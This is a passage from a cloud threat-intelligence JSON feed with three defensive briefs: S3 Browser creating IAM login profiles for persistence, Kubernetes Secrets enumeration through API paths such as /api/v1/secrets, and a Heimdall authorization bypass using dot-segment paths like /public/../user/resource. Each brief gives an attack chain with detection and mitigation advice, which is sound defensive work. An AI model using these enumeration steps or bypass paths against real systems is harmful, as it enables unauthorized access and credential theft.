This tactic may be indicative of an attempt to gain unauthorized access or maintain persistence within the AWS environment. The activity is detectable via AWS CloudTrail logs and was first publicly reported in May 2023 in connection with the threat actor GUIVIL.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a system with AWS CLI tools installed or uses a compromised IAM user with sufficient permissions.\u003c/li\u003e\n\u003cli\u003eThe attacker configures S3 Browser with valid AWS credentials, enabling interaction with the AWS environment.\u003c/li\u003e\n\u003cli\u003eS3 Browser initiates a \u003ccode\u003eGetLoginProfile\u003c/code\u003e API call in AWS CloudTrail, to enumerate IAM users and identify those without existing login profiles.\u003c/li\u003e\n\u003cli\u003eS3 Browser, upon finding an IAM user without a login profile, initiates a \u003ccode\u003eCreateLoginProfile\u003c/code\u003e API call.\u003c/li\u003e\n\u003cli\u003eThe attacker sets a password for the newly created login profile, gaining console access to the targeted IAM user account.\u003c/li\u003e\n\u003cli\u003eThe attacker logs into the AWS console using the newly created credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the IAM user\u0026rsquo;s permissions to perform further reconnaissance, lateral movement, or data exfiltration within the AWS environment.\u003c/li\u003e\n\u003cli\u003eThe attacker establishes persistence by maintaining access through the created login profile, even if other access methods are revoked.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows attackers to gain unauthorized console access to previously unprotected IAM user accounts. This can lead to privilege escalation, data breaches, and disruption of cloud services. The lack of multi-factor authentication on newly created login profiles increases the risk of account compromise. The impact can range from reconnaissance to full-scale control of the AWS environment, depending on the permissions associated with the compromised IAM users.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect \u003ccode\u003eGetLoginProfile\u003c/code\u003e and \u003ccode\u003eCreateLoginProfile\u003c/code\u003e events originating from the S3 Browser user agent in AWS CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eInvestigate any instances of IAM LoginProfile creation originating from unusual user agents or IP addresses.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all IAM users, including those with console access to mitigate the impact of compromised credentials.\u003c/li\u003e\n\u003cli\u003eReview IAM policies to ensure least privilege and restrict the ability to create or modify LoginProfiles to authorized personnel only.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T12:00:00Z","date_published":"2024-01-02T12:00:00Z","id":"/briefs/2024-01-02-s3browser-iam-loginprofile/","summary":"The S3 Browser utility is being used to enumerate IAM users lacking login profiles and subsequently create them, potentially for reconnaissance, persistence, and privilege escalation within AWS environments.","title":"S3 Browser Used to Create IAM Login Profiles","url":"https://feed.craftedsignal.io/briefs/2024-01-02-s3browser-iam-loginprofile/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","credential-access","discovery","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection identifies Kubernetes Secrets listing events originating from non-loopback clients. Attackers may attempt to enumerate Kubernetes Secrets to gain access to sensitive information such as credentials, API keys, and other confidential data stored within the cluster. The rule specifically focuses on requests targeting cluster-wide secrets or list operations under the \u003ccode\u003ekube-system\u003c/code\u003e or \u003ccode\u003edefault\u003c/code\u003e namespaces, which are often targeted due to their high concentration of sensitive information. This activity is indicative of potential credential access or discovery attempts within the Kubernetes environment. This rule helps defenders identify and respond to potential reconnaissance or lateral movement activities within their Kubernetes clusters.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a node within the Kubernetes cluster or a system with access to the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the Kubernetes API server using compromised credentials or by exploiting a vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a \u003ccode\u003elist\u003c/code\u003e request targeting the \u003ccode\u003e/api/v1/secrets\u003c/code\u003e endpoint to enumerate all secrets in the cluster.\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker targets secrets within the \u003ccode\u003ekube-system\u003c/code\u003e namespace using \u003ccode\u003e/api/v1/namespaces/kube-system/secrets\u003c/code\u003e or \u003ccode\u003edefault\u003c/code\u003e namespace using \u003ccode\u003e/api/v1/namespaces/default/secrets\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe API server responds with a list of secrets, potentially including sensitive information.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the retrieved secrets to identify valuable credentials or configuration data.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the acquired credentials to escalate privileges, move laterally within the cluster, or access external resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful enumeration of Kubernetes secrets can lead to the compromise of sensitive credentials, allowing attackers to gain unauthorized access to critical systems and data. This can result in data breaches, service disruptions, and significant financial losses. The targeting of \u003ccode\u003ekube-system\u003c/code\u003e and \u003ccode\u003edefault\u003c/code\u003e namespaces poses a particularly high risk due to the presence of core system components and sensitive configurations.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Secrets List in Sensitive Namespaces\u003c/code\u003e to your SIEM to detect suspicious secret enumeration activities based on \u003ccode\u003ekubernetes.audit.requestURI\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs (\u003ccode\u003elogs-kubernetes.audit_logs-*\u003c/code\u003e) for \u003ccode\u003elist\u003c/code\u003e operations on the \u003ccode\u003esecrets\u003c/code\u003e resource, specifically targeting \u003ccode\u003e/api/v1/secrets\u003c/code\u003e and sensitive namespaces.\u003c/li\u003e\n\u003cli\u003eImplement network policies to restrict access to the Kubernetes API server from untrusted networks.\u003c/li\u003e\n\u003cli\u003eReview and harden the security configuration of the \u003ccode\u003ekube-system\u003c/code\u003e and \u003ccode\u003edefault\u003c/code\u003e namespaces.\u003c/li\u003e\n\u003cli\u003eEnforce the principle of least privilege for service accounts and user access to minimize the impact of credential compromise.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule and correlate with other security events to identify potential attacks.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T12:00:00Z","date_published":"2024-01-02T12:00:00Z","id":"/briefs/2024-01-kubernetes-secrets-enumeration/","summary":"Detection of Kubernetes Secrets listing from non-loopback clients targeting cluster-wide secrets or sensitive namespaces, potentially indicating unauthorized credential access or discovery.","title":"Kubernetes Secrets Enumeration from Non-Loopback Client","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secrets-enumeration/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["heimdall"],"_cs_severities":["high"],"_cs_tags":["authorization-bypass","path-normalization","cloud"],"_cs_type":"advisory","_cs_vendors":["dadrus"],"content_html":"\u003cp\u003eHeimdall, a cloud-native security proxy, is susceptible to an authorization bypass vulnerability. This issue arises from a discrepancy in how Heimdall handles request paths compared to downstream components. Specifically, Heimdall performs rule matching on the raw, non-normalized request path, while downstream components might normalize dot-segments (e.g., \u003ccode\u003e/user/../admin\u003c/code\u003e) according to RFC 3986. This can lead to Heimdall authorizing a request based on the raw path, whereas the downstream service processes a different, normalized path, potentially bypassing intended access controls. The vulnerability affects Heimdall versions prior to 0.17.14. Exploitation is possible when using wildcards in rule matching without further constraints. This could allow attackers to access restricted resources or functionalities.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker crafts a malicious HTTP request with a path containing dot-segments (e.g., \u003ccode\u003e/public/../user/resource\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe request is sent to the Heimdall proxy.\u003c/li\u003e\n\u003cli\u003eHeimdall performs rule matching on the raw, non-normalized path (\u003ccode\u003e/public/../user/resource\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eHeimdall incorrectly matches the request to a less restrictive rule, such as a rule for \u003ccode\u003e/public/**\u003c/code\u003e, due to the initial \u003ccode\u003e/public\u003c/code\u003e segment.\u003c/li\u003e\n\u003cli\u003eHeimdall authorizes the request based on the matched rule, potentially allowing anonymous access.\u003c/li\u003e\n\u003cli\u003eThe request is forwarded to the downstream service.\u003c/li\u003e\n\u003cli\u003eThe downstream service normalizes the request path to \u003ccode\u003e/user/resource\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe downstream service processes the request as \u003ccode\u003e/user/resource\u003c/code\u003e, bypassing the intended access controls for that resource, possibly leading to data access or privilege escalation.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows attackers to bypass access control policies enforced by Heimdall. This can lead to unauthorized access to sensitive data, modification of restricted data, invocation of privileged functionality without proper authentication or authorization, and in certain configurations, escalation of privileges. The number of potential victims depends on the deployment and configuration of Heimdall within affected environments.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the available patch to upgrade Heimdall to version 0.17.14 or later to remediate the vulnerability.\u003c/li\u003e\n\u003cli\u003eImplement HTTP path normalization or rejection of HTTP paths containing relative path expressions in layers in front of Heimdall, as suggested in the advisory.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule provided below to detect suspicious HTTP requests containing dot-segments (..) in the request path.\u003c/li\u003e\n\u003cli\u003eConfigure your proxies (e.g., Envoy) to normalize paths, as described in the advisory.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T12:00:00Z","date_published":"2024-01-02T12:00:00Z","id":"/briefs/2024-01-02-heimdall-auth-bypass/","summary":"Heimdall is vulnerable to an authorization bypass due to a path normalization mismatch between Heimdall and downstream components, potentially leading to unauthorized access and privilege escalation.","title":"Heimdall Authorization Bypass via Path Normalization Mismatch","url":"https://feed.craftedsignal.io/briefs/2024-01-02-heimdall-auth-bypass/"}],"language":"en","title":"CraftedSignal Threat Feed — Cloud","version":"https://jsonfeed.org/version/1.1"}